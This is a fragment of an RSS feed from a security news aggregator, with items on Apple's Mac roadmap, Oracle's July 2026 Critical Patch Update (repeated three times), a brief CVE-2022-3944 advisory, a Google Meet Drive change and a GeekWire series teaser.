Bloomberg’s Mark Gurman reports that Apple will begin the refresh cycle in fall 2026 with an entry...]]></description>
<link>https://tsecurity.de/de/3687365/ios-mac-os/apple-plans-11-new-macs-with-m6-chips-oled-macbook-pro-new-imac-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687365/ios-mac-os/apple-plans-11-new-macs-with-m6-chips-oled-macbook-pro-new-imac-and-more/</guid>
<pubDate>Wed, 22 Jul 2026 21:01:02 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is preparing to update every Mac model it sells over the next two years, with new MacBook Pro, MacBook Air, iMac, Mac mini, Mac Studio and MacBook Neo models now moving through development.



Bloomberg’s Mark Gurman reports that Apple will begin the refresh cycle in fall 2026 with an entry-level 14-inch MacBook Pro powered by the M6 chip, alongside the first updated iMac models in two years.



Apple Mac roadmap for 2026 and beyond



Apple has several Mac launches planned across late 2026, 2027 and 2028, although memory shortages could affect the timing of some desktop models.




Entry-level 14-inch MacBook Pro: Apple plans to launch this model in fall 2026 with the M6 chip, while keeping a design similar to the current version.



Updated iMac: New iMac models are also expected in fall 2026, with development reportedly complete for devices carrying the internal names J833 and J834.



Redesigned MacBook Pro: Apple is preparing new 14-inch and 16-inch models with OLED touchscreens, a revised design and M5 Pro or M5 Max chips for late 2026 or early 2027.



MacBook Air: Refreshed 13-inch and 15-inch models are expected in early 2027, although they will remain visually similar to the current generation.



Mac mini and Mac Studio: Apple is testing Mac mini models with M5 Pro and M6 chips, while Mac Studio testing includes M5 Max and M5 Ultra options.



MacBook Neo: Apple is developing an updated budget model with an A19 Pro chip, additional memory and new colour choices.




Apple is also working on a standard M7 MacBook Pro for 2027, followed by high-end M7 Pro and M7 Max models between late 2027 and early 2028.



OLED technology will gradually reach more Mac products, with an OLED MacBook Air planned for 2028 at the earliest and an OLED iMac also under development. Apple has not announced launch dates for these future models.]]></content:encoded>
</item>
<item>
<title><![CDATA[Oracle’s July update fixes ten 10.0 vulnerabilities in Fusion Middleware]]></title>
<description><![CDATA[Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware.



Fusion Middleware was particularly hard hit, with new security patc...]]></description>
<link>https://tsecurity.de/de/3687351/ai-nachrichten/oracles-july-update-fixes-ten-100-vulnerabilities-in-fusion-middleware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687351/ai-nachrichten/oracles-july-update-fixes-ten-100-vulnerabilities-in-fusion-middleware/</guid>
<pubDate>Wed, 22 Jul 2026 20:52:40 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware.</p>



<p class="wp-block-paragraph">Fusion Middleware was particularly hard hit, with new security patches for 355 security vulnerabilities, 219 of them remotely exploitable without authentication, meaning they can be exploited over a network without requiring user credentials. Ten of them scored a “perfect” 10.0 on the Common Vulnerability Scoring System (CVSS).</p>



<p class="wp-block-paragraph">These included easily exploitable vulnerabilities allowing unauthenticated attackers with network access via HTTP to compromise Oracle Data Integrator, Oracle Access Manager, Oracle HTTP Server, Oracle Platform Security for Java, Oracle WebCenter Content, Service Delivery Platform, or Oracle Weblogic Server Proxy Plug-in,</p>



<p class="wp-block-paragraph">No other products were found to have quite such extreme vulnerabilities, but there were plenty of others scoring almost as badly.</p>



<h2 class="wp-block-heading">Two critical flaws in Oracle Database Server</h2>



<p class="wp-block-paragraph">The most severe flaw Oracle patched in its flagship database product is CVE-2026-61211, a vulnerability in the RDBMS component’s DBMS_CLOUD package with a CVSS score of 9.9.</p>



<p class="wp-block-paragraph">This easily exploitable vulnerability allows a low-privileged attacker having Execute DBMS_CLOUD privilege with network access via Oracle Net to compromise the RDBMS, <a href="https://www.oracle.com/security-alerts/cpujul2026verbose.html" target="_blank" rel="noreferrer noopener">Oracle said in the patch update statement</a>. “While the vulnerability is in RDBMS, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of RDBMS,” it warned.</p>



<p class="wp-block-paragraph">The flaw affects Database Server versions 19.3 through 19.31 and 23.4.0 through 23.26.2.</p>



<p class="wp-block-paragraph">Sanchit Vir Gogia, chief analyst at Greyhound Research, said the 9.9 score should be read as serious but conditional. Exposure depends on configuration, he said: On customer-managed databases, DBMS_CLOUD is absent until installed, and grants and network access lists determine the radius from there. “Where DBMS_CLOUD is broadly granted and reachable, the emergency is real and the window is seventy-two hours; where it is absent, the accelerated database wave will do.”</p>



<p class="wp-block-paragraph">Vibhum Dubey, a cybersecurity researcher and red teamer, said the flaw stood out to him because it checks several boxes that concern defenders.</p>



<p class="wp-block-paragraph">“Database servers often hold an organization’s most valuable data, so even if exploitation is not publicly observed yet, I don’t think this is the kind of issue you leave until the next routine maintenance window if your environment is exposed,” Dubey said.</p>



<p class="wp-block-paragraph">A second Database Server flaw, CVE-2026-47040, affects Connection Manager in Oracle Net Services, is remotely exploitable without credentials. Oracle’s risk matrix lists six Database Product vulnerabilities in this cycle as reachable over a network with no authentication required, the statement added.</p>



<p class="wp-block-paragraph">CVE-2026-7383, an OpenSSL-related TLS vulnerability, affects two products, Database Server and Autonomous Health Framework, since both bundle the same third-party component. Oracle’s advisory notes the Database Server patch for that CVE also resolves 19 related OpenSSL CVEs bundled into the same fix.</p>



<p class="wp-block-paragraph">Oracle GoldenGate received 27 new patches, nine of which do not require authentication to exploit, including CVE-2026-2332, a flaw in the Big Data and Application Adapters component tied to Eclipse Jetty, the statement added.</p>



<p class="wp-block-paragraph">There were also two critical flaws in Oracle’s TimesTen in-memory database.</p>



<p class="wp-block-paragraph">The remainder of the release spans E-Business Suite, WebLogic Server, PeopleSoft, Siebel, JD Edwards, Communications, Retail Applications, Utilities Applications, MySQL, Solaris and VM VirtualBox.</p>



<h2 class="wp-block-heading">Volume repair</h2>



<p class="wp-block-paragraph">Gogia said the volume itself marks a shift.</p>



<p class="wp-block-paragraph">“At 1,449 patches, against 481 in April 2026 and 309 a year earlier, patch load has outgrown the queue built to hold it,” he said. He recommended a tiered response: “The reachable and the reported inside seventy-two hours, the trusted core inside ten days, the rest by risk before the October release.”</p>



<p class="wp-block-paragraph">He also flagged a specific risk in how organizations might triage E-Business Suite. “Oracle’s advisory concedes that E-Business Suite exposure sits partly in underlying Database and Fusion Middleware versions outside the E-Business Suite matrix. The fastest way to mis-prioritise this release is to patch by product logo instead of trust boundary.”</p>



<h2 class="wp-block-heading">Third Tuesday, quarterly cycle</h2>



<p class="wp-block-paragraph">The July release is the third quarterly Critical Patch Update of 2026, and the first since the <a href="https://www.csoonline.com/article/4179473/oracles-first-monthly-patch-release-fixes-35-flaws-including-11-rated-critical.html">introduction in May</a> of the monthly Critical Security Patch Update program.</p>



<p class="wp-block-paragraph">Gogia said Oracle has effectively layered a second cadence on top of the existing one rather than replacing it.</p>



<p class="wp-block-paragraph">“Quarterly Critical Patch Updates remain and stay cumulative; monthly Critical Security Patch Updates now sit on top,” he said, adding that enterprise adoption of the new rhythm remains low because of “certification obligations, regression exposure and scarce specialist hours.”</p>



<p class="wp-block-paragraph">Dubey made a similar point about organizational readiness: “In large enterprises, patching is rarely a technical problem. It is an operational one. Database administrators, application owners, infrastructure teams, business stakeholders, and change advisory boards all have to align.”</p>



<p class="wp-block-paragraph">Niyati Daftary, principal analyst at Gartner, said the release underscores a broader shift in how patching is approached.</p>



<p class="wp-block-paragraph">“Patching is no longer a race to remediate every vulnerability. It is a discipline of identifying the exposures that matter most and reducing business risk as efficiently as possible,” she said, adding that organizations should prioritize based on exposure, business impact and exploitability, starting with internet-facing assets and mission-critical systems.</p>



<p class="wp-block-paragraph">Daftary pointed to continuous threat exposure management and adversarial exposure validation as increasingly relevant frameworks, since CVSS scores “measure theoretical severity rather than actual enterprise risk.” Patching alone will not be sufficient, Daftary said, and organizations should continue investing in defense in depth, including behavioral threat detection and incident response.</p>



<p class="wp-block-paragraph">Oracle’s next cumulative Critical Patch Update will come on Oct. 20, 2026, with smaller Critical Security Patch Updates on Aug. 18 and Sept. 15.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.csoonline.com/article/4200184/oracles-july-update-fixes-ten-10-0-vulnerabilities-in-fusion-middleware.html">CSO</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2022-3944 | jerryhanjj ERP Commodity Management inventory.php uploadImages unrestricted upload (EUVD-2022-43278)]]></title>
<description><![CDATA[A vulnerability was found in jerryhanjj ERP. It has been declared as critical. The affected element is the function uploadImages of the file application/controllers/basedata/inventory.php of the component Commodity Management. The manipulation results in unrestricted upload.

This vulnerability i...]]></description>
<link>https://tsecurity.de/de/3687315/sicherheitsluecken/cve-2022-3944-jerryhanjj-erp-commodity-management-inventoryphp-uploadimages-unrestricted-upload-euvd-2022-43278/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687315/sicherheitsluecken/cve-2022-3944-jerryhanjj-erp-commodity-management-inventoryphp-uploadimages-unrestricted-upload-euvd-2022-43278/</guid>
<pubDate>Wed, 22 Jul 2026 20:35:13 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/jerryhanjj:erp">jerryhanjj ERP</a>. It has been declared as <a href="https://vuldb.com/kb/risk">critical</a>. The affected element is the function <code>uploadImages</code> of the file <em>application/controllers/basedata/inventory.php</em> of the component <em>Commodity Management</em>. The manipulation results in unrestricted upload.

This vulnerability is known as <a href="https://vuldb.com/cve/CVE-2022-3944">CVE-2022-3944</a>. It is possible to launch the attack remotely. Furthermore, an exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Oracle’s July update fixes ten 10.0 vulnerabilities in Fusion Middleware]]></title>
<description><![CDATA[Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware.



Fusion Middleware was particularly hard hit, with new security patc...]]></description>
<link>https://tsecurity.de/de/3687303/it-security-nachrichten/oracles-july-update-fixes-ten-100-vulnerabilities-in-fusion-middleware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687303/it-security-nachrichten/oracles-july-update-fixes-ten-100-vulnerabilities-in-fusion-middleware/</guid>
<pubDate>Wed, 22 Jul 2026 20:33:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware.</p>



<p class="wp-block-paragraph">Fusion Middleware was particularly hard hit, with new security patches for 355 security vulnerabilities, 219 of them remotely exploitable without authentication, meaning they can be exploited over a network without requiring user credentials. Ten of them scored a “perfect” 10.0 on the Common Vulnerability Scoring System (CVSS).</p>



<p class="wp-block-paragraph">These included easily exploitable vulnerabilities allowing unauthenticated attackers with network access via HTTP to compromise Oracle Data Integrator, Oracle Access Manager, Oracle HTTP Server, Oracle Platform Security for Java, Oracle WebCenter Content, Service Delivery Platform, or Oracle Weblogic Server Proxy Plug-in,</p>



<p class="wp-block-paragraph">No other products were found to have quite such extreme vulnerabilities, but there were plenty of others scoring almost as badly.</p>



<h2 class="wp-block-heading">Two critical flaws in Oracle Database Server</h2>



<p class="wp-block-paragraph">The most severe flaw Oracle patched in its flagship database product is CVE-2026-61211, a vulnerability in the RDBMS component’s DBMS_CLOUD package with a CVSS score of 9.9.</p>



<p class="wp-block-paragraph">This easily exploitable vulnerability allows a low-privileged attacker having Execute DBMS_CLOUD privilege with network access via Oracle Net to compromise the RDBMS, <a href="https://www.oracle.com/security-alerts/cpujul2026verbose.html" target="_blank" rel="noreferrer noopener">Oracle said in the patch update statement</a>. “While the vulnerability is in RDBMS, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of RDBMS,” it warned.</p>



<p class="wp-block-paragraph">The flaw affects Database Server versions 19.3 through 19.31 and 23.4.0 through 23.26.2.</p>



<p class="wp-block-paragraph">Sanchit Vir Gogia, chief analyst at Greyhound Research, said the 9.9 score should be read as serious but conditional. Exposure depends on configuration, he said: On customer-managed databases, DBMS_CLOUD is absent until installed, and grants and network access lists determine the radius from there. “Where DBMS_CLOUD is broadly granted and reachable, the emergency is real and the window is seventy-two hours; where it is absent, the accelerated database wave will do.”</p>



<p class="wp-block-paragraph">Vibhum Dubey, a cybersecurity researcher and red teamer, said the flaw stood out to him because it checks several boxes that concern defenders.</p>



<p class="wp-block-paragraph">“Database servers often hold an organization’s most valuable data, so even if exploitation is not publicly observed yet, I don’t think this is the kind of issue you leave until the next routine maintenance window if your environment is exposed,” Dubey said.</p>



<p class="wp-block-paragraph">A second Database Server flaw, CVE-2026-47040, affects Connection Manager in Oracle Net Services, is remotely exploitable without credentials. Oracle’s risk matrix lists six Database Product vulnerabilities in this cycle as reachable over a network with no authentication required, the statement added.</p>



<p class="wp-block-paragraph">CVE-2026-7383, an OpenSSL-related TLS vulnerability, affects two products, Database Server and Autonomous Health Framework, since both bundle the same third-party component. Oracle’s advisory notes the Database Server patch for that CVE also resolves 19 related OpenSSL CVEs bundled into the same fix.</p>



<p class="wp-block-paragraph">Oracle GoldenGate received 27 new patches, nine of which do not require authentication to exploit, including CVE-2026-2332, a flaw in the Big Data and Application Adapters component tied to Eclipse Jetty, the statement added.</p>



<p class="wp-block-paragraph">There were also two critical flaws in Oracle’s TimesTen in-memory database.</p>



<p class="wp-block-paragraph">The remainder of the release spans E-Business Suite, WebLogic Server, PeopleSoft, Siebel, JD Edwards, Communications, Retail Applications, Utilities Applications, MySQL, Solaris and VM VirtualBox.</p>



<h2 class="wp-block-heading">Volume repair</h2>



<p class="wp-block-paragraph">Gogia said the volume itself marks a shift.</p>



<p class="wp-block-paragraph">“At 1,449 patches, against 481 in April 2026 and 309 a year earlier, patch load has outgrown the queue built to hold it,” he said. He recommended a tiered response: “The reachable and the reported inside seventy-two hours, the trusted core inside ten days, the rest by risk before the October release.”</p>



<p class="wp-block-paragraph">He also flagged a specific risk in how organizations might triage E-Business Suite. “Oracle’s advisory concedes that E-Business Suite exposure sits partly in underlying Database and Fusion Middleware versions outside the E-Business Suite matrix. The fastest way to mis-prioritise this release is to patch by product logo instead of trust boundary.”</p>



<h2 class="wp-block-heading">Third Tuesday, quarterly cycle</h2>



<p class="wp-block-paragraph">The July release is the third quarterly Critical Patch Update of 2026, and the first since the <a href="https://www.csoonline.com/article/4179473/oracles-first-monthly-patch-release-fixes-35-flaws-including-11-rated-critical.html">introduction in May</a> of the monthly Critical Security Patch Update program.</p>



<p class="wp-block-paragraph">Gogia said Oracle has effectively layered a second cadence on top of the existing one rather than replacing it.</p>



<p class="wp-block-paragraph">“Quarterly Critical Patch Updates remain and stay cumulative; monthly Critical Security Patch Updates now sit on top,” he said, adding that enterprise adoption of the new rhythm remains low because of “certification obligations, regression exposure and scarce specialist hours.”</p>



<p class="wp-block-paragraph">Dubey made a similar point about organizational readiness: “In large enterprises, patching is rarely a technical problem. It is an operational one. Database administrators, application owners, infrastructure teams, business stakeholders, and change advisory boards all have to align.”</p>



<p class="wp-block-paragraph">Niyati Daftary, principal analyst at Gartner, said the release underscores a broader shift in how patching is approached.</p>



<p class="wp-block-paragraph">“Patching is no longer a race to remediate every vulnerability. It is a discipline of identifying the exposures that matter most and reducing business risk as efficiently as possible,” she said, adding that organizations should prioritize based on exposure, business impact and exploitability, starting with internet-facing assets and mission-critical systems.</p>



<p class="wp-block-paragraph">Daftary pointed to continuous threat exposure management and adversarial exposure validation as increasingly relevant frameworks, since CVSS scores “measure theoretical severity rather than actual enterprise risk.” Patching alone will not be sufficient, Daftary said, and organizations should continue investing in defense in depth, including behavioral threat detection and incident response.</p>



<p class="wp-block-paragraph">Oracle’s next cumulative Critical Patch Update will come on Oct. 20, 2026, with smaller Critical Security Patch Updates on Aug. 18 and Sept. 15.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.csoonline.com/article/4200184/oracles-july-update-fixes-ten-10-0-vulnerabilities-in-fusion-middleware.html">CSO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Meet now organizes your meeting notes, transcripts, and recordings in your Google Drive]]></title>
<description><![CDATA[We’re making it easier for users to find meeting notes, transcripts and recordings in Google Drive with the following improvements:After a meeting, we’ll automatically upload these files to a new folder in the host’s My Drive called “Google Meet.”Within that “Google Meet” folder, these files will...]]></description>
<link>https://tsecurity.de/de/3687297/web-tipps/google-meet-now-organizes-your-meeting-notes-transcripts-and-recordings-in-your-google-drive/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687297/web-tipps/google-meet-now-organizes-your-meeting-notes-transcripts-and-recordings-in-your-google-drive/</guid>
<pubDate>Wed, 22 Jul 2026 20:31:36 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>We’re making it easier for users to find <a href="https://support.google.com/meet/answer/14754931?hl=en&amp;ref_topic=14073938&amp;sjid=8385333923985479419-NA" target="_blank">meeting notes</a>, <a href="https://support.google.com/meet/answer/12849897?hl=en&amp;ref_topic=14074639&amp;sjid=8385333923985479419-NA" target="_blank">transcripts</a> and <a href="https://support.google.com/meet/answer/9308681?sjid=8385333923985479419-NA" target="_blank">recordings</a> in Google Drive with the following improvements:</p><p></p><ul><li>After a meeting, we’ll automatically upload these files to a new folder in the host’s My Drive called “Google Meet.”</li><li>Within that “Google Meet” folder, these files will be automatically organized into subfolders for each meeting. Files from different instances of a recurring meeting will share one folder.</li><li>Any meeting attendees with access to the meeting files will see shortcuts to these source files in their “Google Meet” Drive folders too..</li></ul><p></p><p>Previously, these files were only uploaded to the host’s My Drive, not the attendees’, and the files weren’t organized by meeting.</p><p><b>Note: </b>Shortly after we roll out this change, we’ll automatically move the existing “Meet Recordings” folder into the new “Google Meet” folder and rename it “Legacy Meet Recordings.” Users may see both “Meet Recordings” and “Google Meet” in their Google Drive for a brief period during this transition.</p><p><br></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjif_xiHfQODyvVZEK_IgvjWOBfXcMxvi-TjSnhY1uHzaxm4DVMj8KHMqT6EjNwfTtL0a3H6kGjHZURCwJAeMRA3nHUIRb1qjsuogkjDz2k_JMPHhVvdoR6KAHrmpFslOzpnBP1UMaQOaylbUiBRVUSfzEx58SgmgTNK_XEeclBatwlU3nJVDBCAWaCk3c/s2048/Google%20Meet%20now%20organizes%20your%20meeting%20notes,%20transcripts,%20and%20recordings%20in%20your%20Google%20Drive%20-%207148.jpeg" imageanchor="1"><img border="0" data-original-height="1152" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjif_xiHfQODyvVZEK_IgvjWOBfXcMxvi-TjSnhY1uHzaxm4DVMj8KHMqT6EjNwfTtL0a3H6kGjHZURCwJAeMRA3nHUIRb1qjsuogkjDz2k_JMPHhVvdoR6KAHrmpFslOzpnBP1UMaQOaylbUiBRVUSfzEx58SgmgTNK_XEeclBatwlU3nJVDBCAWaCk3c/s1600/Google%20Meet%20now%20organizes%20your%20meeting%20notes,%20transcripts,%20and%20recordings%20in%20your%20Google%20Drive%20-%207148.jpeg"></a></div><h3>Getting started</h3><p></p><ul><li><b>Admins: </b>Existing "Meet Recordings" folders will be renamed to "Legacy Meet Recordings" and moved under the new "Google Meet" folder topology. Admins should audit any API scripts or automated workflows that rely on specific folder names or IDs.</li><li><b>End users: </b>Users will see their meeting artifacts automatically organized into meeting-specific sub-folders within the "Google Meet" folder, with shortcuts for easier findability.</li></ul><p></p><h3>Rollout pace</h3><p></p><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release domains:</a> Full rollout (1–3 days for feature visibility) starting on July 22, 2026</li><li><a href="https://support.google.com/a/answer/172177" target="_blank">Scheduled Release domains:</a> Full rollout (1–3 days for feature visibility) starting on July 30, 2026</li></ul><p></p><h3>Availability</h3><p></p><ul><li>Available to all Google Workspace customers</li></ul><p></p><h3>Resources</h3><p></p><ul><li>Google Meet Help: <a href="https://support.google.com/meet/answer/9308681" target="_blank">Record a video meeting</a></li><li>Google Meet Help: <a href="https://support.google.com/meet/answer/14754931?hl=en&amp;ref_topic=14073938&amp;sjid=8385333923985479419-NA" target="_blank">Take notes for me in Google Meet</a></li></ul><p></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Oracle’s July update fixes ten 10.0 vulnerabilities in Fusion Middleware]]></title>
<description><![CDATA[Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware.



Fusion Middleware was particularly hard hit, with new security patc...]]></description>
<link>https://tsecurity.de/de/3687241/it-security-nachrichten/oracles-july-update-fixes-ten-100-vulnerabilities-in-fusion-middleware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687241/it-security-nachrichten/oracles-july-update-fixes-ten-100-vulnerabilities-in-fusion-middleware/</guid>
<pubDate>Wed, 22 Jul 2026 20:24:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware.</p>



<p class="wp-block-paragraph">Fusion Middleware was particularly hard hit, with new security patches for 355 security vulnerabilities, 219 of them remotely exploitable without authentication, meaning they can be exploited over a network without requiring user credentials. Ten of them scored a “perfect” 10.0 on the Common Vulnerability Scoring System (CVSS).</p>



<p class="wp-block-paragraph">These included easily exploitable vulnerabilities allowing unauthenticated attackers with network access via HTTP to compromise Oracle Data Integrator, Oracle Access Manager, Oracle HTTP Server, Oracle Platform Security for Java, Oracle WebCenter Content, Service Delivery Platform, or Oracle Weblogic Server Proxy Plug-in,</p>



<p class="wp-block-paragraph">No other products were found to have quite such extreme vulnerabilities, but there were plenty of others scoring almost as badly.</p>



<h2 class="wp-block-heading">Two critical flaws in Oracle Database Server</h2>



<p class="wp-block-paragraph">The most severe flaw Oracle patched in its flagship database product is CVE-2026-61211, a vulnerability in the RDBMS component’s DBMS_CLOUD package with a CVSS score of 9.9.</p>



<p class="wp-block-paragraph">This easily exploitable vulnerability allows a low-privileged attacker having Execute DBMS_CLOUD privilege with network access via Oracle Net to compromise the RDBMS, <a href="https://www.oracle.com/security-alerts/cpujul2026verbose.html">Oracle said in the patch update statement</a>. “While the vulnerability is in RDBMS, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of RDBMS,” it warned.</p>



<p class="wp-block-paragraph">The flaw affects Database Server versions 19.3 through 19.31 and 23.4.0 through 23.26.2.</p>



<p class="wp-block-paragraph">Sanchit Vir Gogia, chief analyst at Greyhound Research, said the 9.9 score should be read as serious but conditional. Exposure depends on configuration, he said: On customer-managed databases, DBMS_CLOUD is absent until installed, and grants and network access lists determine the radius from there. “Where DBMS_CLOUD is broadly granted and reachable, the emergency is real and the window is seventy-two hours; where it is absent, the accelerated database wave will do.”</p>



<p class="wp-block-paragraph">Vibhum Dubey, a cybersecurity researcher and red teamer, said the flaw stood out to him because it checks several boxes that concern defenders.</p>



<p class="wp-block-paragraph">“Database servers often hold an organization’s most valuable data, so even if exploitation is not publicly observed yet, I don’t think this is the kind of issue you leave until the next routine maintenance window if your environment is exposed,” Dubey said.</p>



<p class="wp-block-paragraph">A second Database Server flaw, CVE-2026-47040, affects Connection Manager in Oracle Net Services, is remotely exploitable without credentials. Oracle’s risk matrix lists six Database Product vulnerabilities in this cycle as reachable over a network with no authentication required, the statement added.</p>



<p class="wp-block-paragraph">CVE-2026-7383, an OpenSSL-related TLS vulnerability, affects two products, Database Server and Autonomous Health Framework, since both bundle the same third-party component. Oracle’s advisory notes the Database Server patch for that CVE also resolves 19 related OpenSSL CVEs bundled into the same fix.</p>



<p class="wp-block-paragraph">Oracle GoldenGate received 27 new patches, nine of which do not require authentication to exploit, including CVE-2026-2332, a flaw in the Big Data and Application Adapters component tied to Eclipse Jetty, the statement added.</p>



<p class="wp-block-paragraph">There were also two critical flaws in Oracle’s TimesTen in-memory database.</p>



<p class="wp-block-paragraph">The remainder of the release spans E-Business Suite, WebLogic Server, PeopleSoft, Siebel, JD Edwards, Communications, Retail Applications, Utilities Applications, MySQL, Solaris and VM VirtualBox.</p>



<h2 class="wp-block-heading">Volume repair</h2>



<p class="wp-block-paragraph">Gogia said the volume itself marks a shift.</p>



<p class="wp-block-paragraph">“At 1,449 patches, against 481 in April 2026 and 309 a year earlier, patch load has outgrown the queue built to hold it,” he said. He recommended a tiered response: “The reachable and the reported inside seventy-two hours, the trusted core inside ten days, the rest by risk before the October release.”</p>



<p class="wp-block-paragraph">He also flagged a specific risk in how organizations might triage E-Business Suite. “Oracle’s advisory concedes that E-Business Suite exposure sits partly in underlying Database and Fusion Middleware versions outside the E-Business Suite matrix. The fastest way to mis-prioritise this release is to patch by product logo instead of trust boundary.”</p>



<h2 class="wp-block-heading">Third Tuesday, quarterly cycle</h2>



<p class="wp-block-paragraph">The July release is the third quarterly Critical Patch Update of 2026, and the first since the <a href="https://www.csoonline.com/article/4179473/oracles-first-monthly-patch-release-fixes-35-flaws-including-11-rated-critical.html">introduction in May</a> of the monthly Critical Security Patch Update program.</p>



<p class="wp-block-paragraph">Gogia said Oracle has effectively layered a second cadence on top of the existing one rather than replacing it.</p>



<p class="wp-block-paragraph">“Quarterly Critical Patch Updates remain and stay cumulative; monthly Critical Security Patch Updates now sit on top,” he said, adding that enterprise adoption of the new rhythm remains low because of “certification obligations, regression exposure and scarce specialist hours.”</p>



<p class="wp-block-paragraph">Dubey made a similar point about organizational readiness: “In large enterprises, patching is rarely a technical problem. It is an operational one. Database administrators, application owners, infrastructure teams, business stakeholders, and change advisory boards all have to align.”</p>



<p class="wp-block-paragraph">Niyati Daftary, principal analyst at Gartner, said the release underscores a broader shift in how patching is approached.</p>



<p class="wp-block-paragraph">“Patching is no longer a race to remediate every vulnerability. It is a discipline of identifying the exposures that matter most and reducing business risk as efficiently as possible,” she said, adding that organizations should prioritize based on exposure, business impact and exploitability, starting with internet-facing assets and mission-critical systems.</p>



<p class="wp-block-paragraph">Daftary pointed to continuous threat exposure management and adversarial exposure validation as increasingly relevant frameworks, since CVSS scores “measure theoretical severity rather than actual enterprise risk.” Patching alone will not be sufficient, Daftary said, and organizations should continue investing in defense in depth, including behavioral threat detection and incident response.</p>



<p class="wp-block-paragraph">Oracle’s next cumulative Critical Patch Update will come on Oct. 20, 2026, with smaller Critical Security Patch Updates on Aug. 18 and Sept. 15.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft 2.5: A new series on the next generation of leaders]]></title>
<description><![CDATA[Mary Jo Foley is launching a GeekWire series profiling the people and priorities behind Microsoft's evolution. It's a look at what she calls the "Microsoft 2.5" era, where cloud and AI dominate but the company still can't walk away from Windows, Office, and enterprise customers whose products wer...]]></description>
<link>https://tsecurity.de/de/3687134/it-nachrichten/microsoft-25-a-new-series-on-the-next-generation-of-leaders/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687134/it-nachrichten/microsoft-25-a-new-series-on-the-next-generation-of-leaders/</guid>
<pubDate>Wed, 22 Jul 2026 19:18:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img fetchpriority="high" loading="eager" width="1260" height="841" src="https://cdn.geekwire.com/wp-content/uploads/2026/07/msft2-5-1260x841.png" class="webfeedsFeaturedVisual wp-post-image" alt="" decoding="async" srcset="https://cdn.geekwire.com/wp-content/uploads/2026/07/msft2-5-1260x841.png 1260w, https://cdn.geekwire.com/wp-content/uploads/2026/07/msft2-5-768x512.png 768w, https://cdn.geekwire.com/wp-content/uploads/2026/07/msft2-5.png 1535w" sizes="(max-width: 1260px) 100vw, 1260px"><br>Mary Jo Foley is launching a GeekWire series profiling the people and priorities behind Microsoft's evolution. It's a look at what she calls the "Microsoft 2.5" era, where cloud and AI dominate but the company still can't walk away from Windows, Office, and enterprise customers whose products weren't built around AI. <a href="https://www.geekwire.com/2026/microsoft-2-5-a-new-series-on-the-next-generation-of-leaders/">Read More</a>]]></content:encoded>
</item>
<item>
